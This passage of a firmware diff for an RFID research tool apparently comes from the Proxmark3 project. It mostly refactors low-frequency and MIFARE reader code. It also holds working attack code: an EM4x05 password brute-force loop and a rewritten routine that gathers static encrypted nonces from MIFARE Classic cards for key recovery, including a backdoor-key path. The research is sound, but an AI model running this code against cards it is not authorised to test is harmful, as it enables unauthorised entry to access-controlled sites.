pwd++) { + if (((pwd - start_pwd) & 0x3F) == 0x00) { + WDT_HIT(); if (BUTTON_PRESS() || data_available()) { Dbprintf("EM4x05 Bruteforce Interrupted"); break; } } + // Report progress every 256 attempts if (((pwd - start_pwd) & 0xFF) == 0x00) { Dbprintf("Trying: %06Xxx", pwd >> 8); @@ -2662,7 +2672,9 @@ void EM4xBruteforce(uint32_t start_pwd, uint32_t n, bool ledcontrol) { WaitUS(400); DoPartialAcquisition(0, false, 350, 1000, ledcontrol); + uint8_t *mem = BigBuf_get_addr(); + if (mem[334] < 128) { candidates_found++; Dbprintf("Password candidate: " _GREEN_("%08X"), pwd); @@ -2671,6 +2683,7 @@ void EM4xBruteforce(uint32_t start_pwd, uint32_t n, bool ledcontrol) { break; } } + // Beware: if smaller, tag might not have time to be back in listening state yet WaitMS(1); } @@ -2719,7 +2732,9 @@ void EM4xReadWord(uint8_t addr, uint32_t pwd, uint8_t usepwd, bool ledcontrol) { * 0000 1010 ok * 0000 0001 fail **/ - if (usepwd) EM4xLoginEx(pwd); + if (usepwd) { + EM4xLoginEx(pwd); + } forward_ptr = forwardLink_data; uint8_t len = Prepare_Cmd(FWD_CMD_READ); @@ -2754,7 +2769,9 @@ void EM4xWriteWord(uint8_t addr, uint32_t data, uint32_t pwd, uint8_t usepwd, bo * 0000 1010 ok. * 0000 0001 fail **/ - if (usepwd) EM4xLoginEx(pwd); + if (usepwd) { + EM4xLoginEx(pwd); + } forward_ptr = forwardLink_data; uint8_t len = Prepare_Cmd(FWD_CMD_WRITE); @@ -2797,7 +2814,9 @@ void EM4xProtectWord(uint32_t data, uint32_t pwd, uint8_t usepwd, bool ledcontro * 0000 1010 ok. * 0000 0001 fail **/ - if (usepwd) EM4xLoginEx(pwd); + if (usepwd) { + EM4xLoginEx(pwd); + } forward_ptr = forwardLink_data; uint8_t len = Prepare_Cmd(FWD_CMD_PROTECT); @@ -2893,7 +2912,7 @@ void Cotag(uint32_t arg0, bool ledcontrol) { break; } case 1: { - uint8_t *dest = BigBuf_malloc(COTAG_BITS); + uint8_t *dest = BigBuf_calloc(COTAG_BITS); uint16_t bits = doCotagAcquisitionManchester(dest, COTAG_BITS); reply_ng(CMD_LF_COTAG_READ, PM3_SUCCESS, dest, bits); break; diff --git a/armsrc/lfops.h b/armsrc/lfops.h index c3f00b4af..5a25a74d8 100644 --- a/armsrc/lfops.h +++ b/armsrc/lfops.h @@ -34,6 +34,7 @@ void SimulateTagLowFrequencyEx(int period, int gap, bool ledcontrol, int numcycl void SimulateTagLowFrequency(int period, int gap, bool ledcontrol); void SimulateTagLowFrequencyBidir(int divisor, int max_bitlen); +bool add_HID_preamble(uint32_t *hi2, uint32_t *hi, uint32_t *lo, uint8_t length); void CmdHIDsimTAGEx(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol, int numcycles); void CmdHIDsimTAG(uint32_t hi2, uint32_t hi, uint32_t lo, uint8_t longFMT, bool ledcontrol); diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 22fb6411a..a07a6aae1 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -149,7 +149,7 @@ void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { data.buffer = BigBuf_get_addr(); } else { *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); - data.buffer = BigBuf_malloc(*sample_size); + data.buffer = BigBuf_calloc(*sample_size); } } else { @@ -669,7 +669,7 @@ void doT55x7Acquisition(size_t sample_size, bool ledcontrol) { void doCotagAcquisition(void) { uint16_t bufsize = BigBuf_max_traceLen(); - uint8_t *dest = BigBuf_malloc(bufsize); + uint8_t *dest = BigBuf_calloc(bufsize); dest[0] = 0; @@ -739,8 +739,9 @@ void doCotagAcquisition(void) { uint16_t doCotagAcquisitionManchester(uint8_t *dest, uint16_t destlen) { - if (dest == NULL) + if (dest == NULL) { return 0; + } dest[0] = 0; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 96bba263f..13e728be8 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -79,21 +79,24 @@ static bool mifare_wakeup_auth(struct Crypto1State *pcs, MifareWakeupType wakeup LED_C_OFF(); switch (wakeup) { - case MF_WAKE_NONE: + case MF_WAKE_NONE: { break; - case MF_WAKE_WUPA: - if (!iso14443a_select_cardEx(NULL, NULL, &cuid, true, 0, true, &WUPA_POLLING_PARAMETERS)) { + } + case MF_WAKE_WUPA: { + if (iso14443a_select_cardEx(NULL, NULL, &cuid, true, 0, true, &WUPA_POLLING_PARAMETERS, false) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); return false; }; break; - case MF_WAKE_REQA: - if (!iso14443a_select_cardEx(NULL, NULL, &cuid, true, 0, true, &REQA_POLLING_PARAMETERS)) { + } + case MF_WAKE_REQA: { + if (iso14443a_select_cardEx(NULL, NULL, &cuid, true, 0, true, &REQA_POLLING_PARAMETERS, false) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); return false; }; break; - case MF_WAKE_GEN1A: + } + case MF_WAKE_GEN1A: { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("wupC1 error"); @@ -105,14 +108,16 @@ static bool mifare_wakeup_auth(struct Crypto1State *pcs, MifareWakeupType wakeup if (g_dbglevel >= DBG_INFO) Dbprintf("Assuming Magic Gen 1B tag. [wupC2 failed]"); } break; - case MF_WAKE_GEN1B: + } + case MF_WAKE_GEN1B: { ReaderTransmitBitsPar(wupC1, 7, NULL, NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("wupC1 error"); return false; } break; - case MF_WAKE_GDM_ALT: + } + case MF_WAKE_GDM_ALT: { ReaderTransmitBitsPar(wupGDM1, 7, NULL, NULL); if ((ReaderReceive(receivedAnswer, sizeof(receivedAnswer), receivedAnswerPar) == 0) || (receivedAnswer[0] != 0x0a)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("wupGDM1 error"); @@ -124,6 +129,7 @@ static bool mifare_wakeup_auth(struct Crypto1State *pcs, MifareWakeupType wakeup // maybe this is fine on some tags? } break; + } } if (key_auth_cmd != 0) { @@ -158,9 +164,9 @@ int16_t mifare_cmd_readblocks(MifareWakeupType wakeup, uint8_t key_auth_cmd, uin goto OUT; } - // frame waiting time (FWT) in 1/fc + // frame waiting time (FWT) in 1/fc (524288) uint32_t fwt = 256 * 16 * (1 << 7); - iso14a_set_timeout(fwt / (8 * 16)); + iso14a_set_timeout(fwt / (8 * 16)); // 4096 for (uint8_t i = 0; i < count; i++) { if (mifare_classic_readblock_ex(pcs, block_no + i, block_data + (i * 16), read_cmd)) { @@ -262,13 +268,13 @@ void MifareUC_Auth(uint8_t arg0, uint8_t *keybytes) { clear_trace(); set_tracing(true); - if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; }; - if (!mifare_ultra_auth(keybytes)) { + if (mifare_ultra_auth(keybytes) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Authentication failed"); OnError(1); return; @@ -292,15 +298,15 @@ void MifareUL_AES_Auth(bool turn_off_field, uint8_t keyno, uint8_t *keybytes) { clear_trace(); set_tracing(true); - if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); - reply_ng(CMD_HF_MIFAREULAES_AUTH, PM3_ESOFT, NULL, 0); + OnErrorNG(CMD_HF_MIFAREULAES_AUTH, PM3_ESOFT); return; }; - if (!mifare_ultra_aes_auth(keyno, keybytes)) { + if (mifare_ultra_aes_auth(keyno, keybytes) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Authentication failed"); - reply_ng(CMD_HF_MIFAREULAES_AUTH, PM3_ESOFT, NULL, 0); + OnErrorNG(CMD_HF_MIFAREULAES_AUTH, PM3_ESOFT); return; } @@ -327,9 +333,8 @@ void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) { clear_trace(); set_tracing(true); - int len = iso14443a_select_card(NULL, NULL, NULL, true, 0, true); - if (!len) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card (RC:%02X)", len); + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); OnError(1); return; } @@ -339,7 +344,7 @@ void MifareUReadBlock(uint8_t arg0, uint8_t arg1, uint8_t *datain) { uint8_t key[16] = {0x00}; memcpy(key, datain, sizeof(key)); - if (!mifare_ultra_auth(key)) { + if (mifare_ultra_auth(key) == 0) { OnError(1); return; } @@ -385,7 +390,6 @@ void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain) // free eventually allocated BigBuf memory BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); // params @@ -394,16 +398,16 @@ void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain) bool useKey = (arg2 == 1); // UL_C bool usePwd = (arg2 == 2); // UL_EV1/NTAG uint32_t countblocks = 0; - uint8_t *dataout = BigBuf_malloc(CARD_MEMORY_SIZE); + uint8_t *dataout = BigBuf_calloc(CARD_MEMORY_SIZE); if (dataout == NULL) { - Dbprintf("out of memory"); + Dbprintf("Failed to allocate memory"); OnError(1); return; } int len = iso14443a_select_card(NULL, NULL, NULL, true, 0, true); - if (!len) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card (RC:%d)", len); + if (len == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); OnError(1); return; } @@ -413,7 +417,7 @@ void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain) uint8_t key[16] = {0x00}; memcpy(key, datain, sizeof(key)); - if (!mifare_ultra_auth(key)) { + if (mifare_ultra_auth(key) == 0) { OnError(1); return; } @@ -425,7 +429,7 @@ void MifareUReadCard(uint8_t arg0, uint16_t arg1, uint8_t arg2, uint8_t *datain) memcpy(pwd, datain, sizeof(pwd)); uint8_t pack[4] = {0, 0, 0, 0}; - if (!mifare_ul_ev1_auth(pwd, pack)) { + if (mifare_ul_ev1_auth(pwd, pack) == 0) { OnError(1); return; } @@ -508,7 +512,8 @@ void MifareValue(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) { LED_C_OFF(); while (true) { - if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + + if (iso14443a_select_card(uid, NULL, &cuid, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); break; }; @@ -579,7 +584,7 @@ static void MifareUWriteBlockEx(uint8_t arg0, uint8_t arg1, uint8_t *datain, boo clear_trace(); set_tracing(true); - if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; @@ -590,7 +595,7 @@ static void MifareUWriteBlockEx(uint8_t arg0, uint8_t arg1, uint8_t *datain, boo uint8_t key[16] = {0x00}; memcpy(key, datain + 4, sizeof(key)); - if (!mifare_ultra_auth(key)) { + if (mifare_ultra_auth(key) == 0) { OnError(1); return; } @@ -601,7 +606,7 @@ static void MifareUWriteBlockEx(uint8_t arg0, uint8_t arg1, uint8_t *datain, boo uint8_t pwd[4] = {0x00}; memcpy(pwd, datain + 4, 4); uint8_t pack[4] = {0, 0, 0, 0}; - if (!mifare_ul_ev1_auth(pwd, pack)) { + if (mifare_ul_ev1_auth(pwd, pack) == 0) { OnError(1); return; } @@ -621,8 +626,9 @@ static void MifareUWriteBlockEx(uint8_t arg0, uint8_t arg1, uint8_t *datain, boo if (g_dbglevel >= 2) DbpString("WRITE BLOCK FINISHED"); - if (reply) + if (reply) { reply_mix(CMD_ACK, 1, 0, 0, 0, 0); + } FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); set_tracing(false); @@ -653,7 +659,7 @@ void MifareUWriteBlockCompat(uint8_t arg0, uint8_t arg1, uint8_t *datain) { clear_trace(); set_tracing(true); - if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; @@ -664,7 +670,7 @@ void MifareUWriteBlockCompat(uint8_t arg0, uint8_t arg1, uint8_t *datain) { uint8_t key[16] = {0x00}; memcpy(key, datain + 16, sizeof(key)); - if (!mifare_ultra_auth(key)) { + if (mifare_ultra_auth(key) == 0) { OnError(1); return; } @@ -716,7 +722,7 @@ void MifareUSetPwd(uint8_t arg0, uint8_t *datain) { clear_trace(); set_tracing(true); - if (!iso14443a_select_card(NULL, NULL, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, NULL, NULL, true, 0, true) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("Can't select card"); OnError(0); return; @@ -804,11 +810,11 @@ void MifareAcquireNonces(uint32_t arg0, uint32_t flags) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); - if (initialize) + if (initialize) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + } LED_C_ON(); @@ -918,11 +924,11 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(false); - if (initialize) + if (initialize) { iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + } LED_C_ON(); @@ -1036,8 +1042,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, // acquire static encrypted nonces in order to perform the attack described in // Philippe Teuwen, "MIFARE Classic: exposing the static encrypted nonce variant" //----------------------------------------------------------------------------- -void MifareAcquireStaticEncryptedNonces(uint32_t flags, uint8_t *key) { - +int MifareAcquireStaticEncryptedNonces(uint32_t flags, const uint8_t *key, bool reply, uint8_t first_block_no, uint8_t first_key_type) { struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; pcs = &mpcs; @@ -1045,13 +1050,23 @@ void MifareAcquireStaticEncryptedNonces(uint32_t flags, uint8_t *key) { uint8_t uid[10] = {0x00}; uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE] = {0x00}; uint8_t par_enc[1] = {0x00}; - // ((MIFARE_1K_MAXSECTOR + 1) * 2) * 9 < PM3_CMD_DATA_SIZE - uint8_t buf[((MIFARE_1K_MAXSECTOR + 1) * 2) * 9] = {0x00}; + // ((MIFARE_1K_MAXSECTOR + 1) * 2) * 8 < PM3_CMD_DATA_SIZE + // we're storing nonces in emulator memory at CARD_MEMORY_RF08S_OFFSET + // one sector data in one 16-byte block with for each keytype: + // uint16_t nt_first_half (as we can reconstruct the other half) + // uint8_t nt_par_err + // uint8_t flag: if 0xAA and key=000000000000 it means we don't know the key yet + // uint32_t nt_enc + // buf: working buffer to prepare those "blocks" + uint8_t buf[MIFARE_BLOCK_SIZE] = {0x00}; uint64_t ui64Key = bytes_to_num(key, 6); bool with_data = flags & 1; + bool without_backdoor = (flags >> 1) & 1; + if (with_data && without_backdoor) { + return PM3_EINVARG; + } uint32_t cuid = 0; int16_t isOK = PM3_SUCCESS; - uint16_t num_nonces = 0; uint8_t cascade_levels = 0; bool have_uid = false; @@ -1060,63 +1075,177 @@ void MifareAcquireStaticEncryptedNonces(uint32_t flags, uint8_t *key) { BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(false); iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); LED_C_ON(); - for (uint16_t sec = 0; sec < MIFARE_1K_MAXSECTOR + 1; sec++) { - uint16_t sec_gap = sec; - if (sec >= MIFARE_1K_MAXSECTOR) { - // gap between user blocks and advanced verification method blocks - sec_gap += 16; + if (without_backdoor) { + uint32_t nt1 = 0; + + iso14a_card_select_t card_info; + if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (ALL)"); + isOK = PM3_ERFTRANS; + goto out; } - uint16_t blockNo = sec_gap * 4; - for (uint8_t keyType = 0; keyType < 2; keyType++) { - // Test if the action was cancelled - if (BUTTON_PRESS()) { - isOK = PM3_EOPABORTED; + switch (card_info.uidlen) { + case 4 : + cascade_levels = 1; break; + case 7 : + cascade_levels = 2; + break; + case 10: + cascade_levels = 3; + break; + default: + break; + } + if (mifare_classic_authex_cmd(pcs, cuid, first_block_no, MIFARE_AUTH_KEYA + first_key_type, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); + isOK = PM3_ESOFT; + goto out; + }; + + uint16_t len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + first_key_type, first_block_no, receivedAnswer, sizeof(receivedAnswer), par_enc, NULL); + if (len != 4) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len); + isOK = PM3_ESOFT; + goto out; + } + uint32_t nt_enc = bytes_to_num(receivedAnswer, 4); + + // send some crap to fail auth + CHK_TIMEOUT(); + + if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)"); + isOK = PM3_ERFTRANS; + goto out; + } + if (mifare_classic_authex_cmd(pcs, cuid, first_block_no, MIFARE_AUTH_KEYA + first_key_type, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); + isOK = PM3_ESOFT; + goto out; + }; + // Recover clear nt + struct Crypto1State mpcs_tmp = {0, 0}; + struct Crypto1State *pcs_tmp = &mpcs_tmp; + crypto1_init(pcs_tmp, ui64Key); + uint32_t nt = crypto1_word(pcs_tmp, nt_enc ^ cuid, 1) ^ nt_enc; + int dist = nonce_distance(nt, nt1); + // ref dist is not always stable. Adjust physical distance to maximise ref dist, and try values around estimated nonces... + Dbprintf("Block %2i key %i nested nT=%08x first nT=%08x dist=%i", first_block_no, first_key_type, nt, nt1, dist); + + for (uint16_t sec = 0; sec < MIFARE_1K_MAXSECTOR + 1; sec++) { + uint16_t sec_gap = sec; + if (sec >= MIFARE_1K_MAXSECTOR) { + // gap between user blocks and advanced verification method blocks + sec_gap += 16; } - if (have_uid == false) { // need a full select cycle to get the uid first - iso14a_card_select_t card_info; - if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (ALL)"); - continue; + uint16_t blockNo = sec_gap * 4; + for (uint8_t keyType = 0; keyType < 2; keyType++) { + // Test if the action was cancelled + if (BUTTON_PRESS()) { + isOK = PM3_EOPABORTED; + break; } - switch (card_info.uidlen) { - case 4 : - cascade_levels = 1; - break; - case 7 : - cascade_levels = 2; - break; - case 10: - cascade_levels = 3; - break; - default: - break; + + len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType, blockNo, receivedAnswer, sizeof(receivedAnswer), par_enc, NULL); + if (len != 4) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len); + isOK = PM3_ESOFT; + goto out; } - have_uid = true; - } else { // no need for anticollision. We can directly select the card + // store nt_enc + memcpy(buf + (keyType * 8) + 4, receivedAnswer, 4); + nt_enc = bytes_to_num(receivedAnswer, 4); + uint8_t nt_par_err = ((((par_enc[0] >> 7) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3 | + (((par_enc[0] >> 6) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2 | + (((par_enc[0] >> 5) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1 | + (((par_enc[0] >> 4) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF))); + // Dbprintf("Sec %2i key %i {nT}=%02x%02x%02x%02x perr=%x", sec, keyType, receivedAnswer[0], receivedAnswer[1], receivedAnswer[2], receivedAnswer[3], nt_par_err); + // store nt_par_err + buf[(keyType * 8) + 2] = nt_par_err; + buf[(keyType * 8) + 3] = 0xAA; // extra check to tell we have nt/nt_enc/par_err + + // send some crap to fail auth + CHK_TIMEOUT(); + if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)"); - continue; + isOK = PM3_ERFTRANS; + goto out; } + if (mifare_classic_authex_cmd(pcs, cuid, first_block_no, MIFARE_AUTH_KEYA + first_key_type, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); + isOK = PM3_ESOFT; + goto out; + }; + nt1 = rewind_nonce(nt1, dist); + num_to_bytes(nt1 >> 16, 2, buf + (keyType * 8)); + emlSetMem_xt(buf, (CARD_MEMORY_RF08S_OFFSET / MIFARE_BLOCK_SIZE) + sec, 1, MIFARE_BLOCK_SIZE); } + } + } else { + for (uint16_t sec = 0; sec < MIFARE_1K_MAXSECTOR + 1; sec++) { + uint16_t sec_gap = sec; + if (sec >= MIFARE_1K_MAXSECTOR) { + // gap between user blocks and advanced verification method blocks + sec_gap += 16; + } + uint16_t blockNo = sec_gap * 4; + for (uint8_t keyType = 0; keyType < 2; keyType++) { + // Test if the action was cancelled + if (BUTTON_PRESS()) { + isOK = PM3_EOPABORTED; + break; + } + if (have_uid == false) { // need a full select cycle to get the uid first + iso14a_card_select_t card_info; + if (iso14443a_select_card(uid, &card_info, &cuid, true, 0, true) == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (ALL)"); + isOK = PM3_ERFTRANS; + goto out; + } + switch (card_info.uidlen) { + case 4 : + cascade_levels = 1; + break; + case 7 : + cascade_levels = 2; + break; + case 10: + cascade_levels = 3; + break; + default: + break; + } + have_uid = true; + } else { // no need for anticollision. We can directly select the card + if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)"); + isOK = PM3_ERFTRANS; + goto out; + } + } - uint32_t nt1 = 0; - if (mifare_classic_authex_cmd(pcs, cuid, blockNo, MIFARE_AUTH_KEYA + keyType + 4, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); - isOK = PM3_ESOFT; - goto out; - }; - if (with_data) { - if (blockNo < MIFARE_1K_MAXSECTOR * 4) { + uint32_t nt1 = 0; + if (mifare_classic_authex_cmd(pcs, cuid, blockNo, MIFARE_AUTH_KEYA + keyType + 4, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); + isOK = PM3_ESOFT; + goto out; + }; + if ((with_data) && (keyType == 0)) { uint8_t data[16]; - for (uint16_t tb = blockNo; tb < blockNo + 4; tb++) { + uint8_t blocks = 4; + if (blockNo >= MIFARE_1K_MAXSECTOR * 4) { + // special RF08S advanced authentication blocks, let's dump in emulator just in case + blocks = 8; + } + for (uint16_t tb = blockNo; tb < blockNo + blocks; tb++) { memset(data, 0x00, sizeof(data)); int res = mifare_classic_readblock(pcs, tb, data); if (res == 1) { @@ -1127,62 +1256,70 @@ void MifareAcquireStaticEncryptedNonces(uint32_t flags, uint8_t *key) { emlSetMem_xt(data, tb, 1, 16); } } - } - // nested authentication - uint16_t len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType + 4, blockNo, receivedAnswer, sizeof(receivedAnswer), par_enc, NULL); - if (len != 4) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len); - isOK = PM3_ESOFT; - goto out; - } - uint32_t nt_enc = bytes_to_num(receivedAnswer, 4); - crypto1_init(pcs, ui64Key); - uint32_t nt = crypto1_word(pcs, nt_enc ^ cuid, 1) ^ nt_enc; - // Dbprintf("Sec %2i key %i nT=%08x", sec, keyType + 4, nt); - num_to_bytes(nt, 4, buf + (((sec * 2) + keyType) * 9)); - // send some crap to fail auth - uint8_t nack[] = {0x04}; - ReaderTransmit(nack, sizeof(nack), NULL); + // nested authentication + uint16_t len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType + 4, blockNo, receivedAnswer, sizeof(receivedAnswer), par_enc, NULL); + if (len != 4) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len); + isOK = PM3_ESOFT; + goto out; + } + uint32_t nt_enc = bytes_to_num(receivedAnswer, 4); + crypto1_init(pcs, ui64Key); + uint32_t nt = crypto1_word(pcs, nt_enc ^ cuid, 1) ^ nt_enc; + // Dbprintf("Sec %2i key %i nT=%08x", sec, keyType + 4, nt); + // store nt (first half) + num_to_bytes(nt >> 16, 2, buf + (keyType * 8)); + // send some crap to fail auth + CHK_TIMEOUT(); - if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)"); - continue; - } - if (mifare_classic_authex_cmd(pcs, cuid, blockNo, MIFARE_AUTH_KEYA + keyType + 4, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); - isOK = PM3_ESOFT; - goto out; - }; + if (iso14443a_fast_select_card(uid, cascade_levels) == 0) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Can't select card (UID)"); + isOK = PM3_ERFTRANS; + goto out; + } + if (mifare_classic_authex_cmd(pcs, cuid, blockNo, MIFARE_AUTH_KEYA + keyType + 4, ui64Key, AUTH_FIRST, &nt1, NULL, NULL, NULL, false, false)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth1 error"); + isOK = PM3_ESOFT; + goto out; + }; - // nested authentication on regular keytype - len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType, blockNo, receivedAnswer, sizeof(receivedAnswer), par_enc, NULL); - if (len != 4) { - if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len); - isOK = PM3_ESOFT; - goto out; + // nested authentication on regular keytype + len = mifare_sendcmd_short(pcs, AUTH_NESTED, MIFARE_AUTH_KEYA + keyType, blockNo, receivedAnswer, sizeof(receivedAnswer), par_enc, NULL); + if (len != 4) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("AcquireStaticEncryptedNonces: Auth2 error len=%d", len); + isOK = PM3_ESOFT; + goto out; + } + // store nt_enc + memcpy(buf + (keyType * 8) + 4, receivedAnswer, 4); + nt_enc = bytes_to_num(receivedAnswer, 4); + uint8_t nt_par_err = ((((par_enc[0] >> 7) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3 | + (((par_enc[0] >> 6) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2 | + (((par_enc[0] >> 5) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1 | + (((par_enc[0] >> 4) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF))); + // Dbprintf("Sec %2i key %i {nT}=%02x%02x%02x%02x perr=%x", sec, keyType, receivedAnswer[0], receivedAnswer[1], receivedAnswer[2], receivedAnswer[3], nt_par_err); + // store nt_par_err + buf[(keyType * 8) + 2] = nt_par_err; + buf[(keyType * 8) + 3] = 0xAA; // extra check to tell we have nt/nt_enc/par_err + emlSetMem_xt(buf, (CARD_MEMORY_RF08S_OFFSET / MIFARE_BLOCK_SIZE) + sec, 1, MIFARE_BLOCK_SIZE); + // send some crap to fail auth + CHK_TIMEOUT(); } - memcpy(buf + (((sec * 2) + keyType) * 9) + 4, receivedAnswer, 4); - nt_enc = bytes_to_num(receivedAnswer, 4); - uint8_t nt_par_err = ((((par_enc[0] >> 7) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 3 | - (((par_enc[0] >> 6) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 2 | - (((par_enc[0] >> 5) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 1 | - (((par_enc[0] >> 4) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF))); - // Dbprintf("Sec %2i key %i {nT}=%02x%02x%02x%02x perr=%x", sec, keyType, receivedAnswer[0], receivedAnswer[1], receivedAnswer[2], 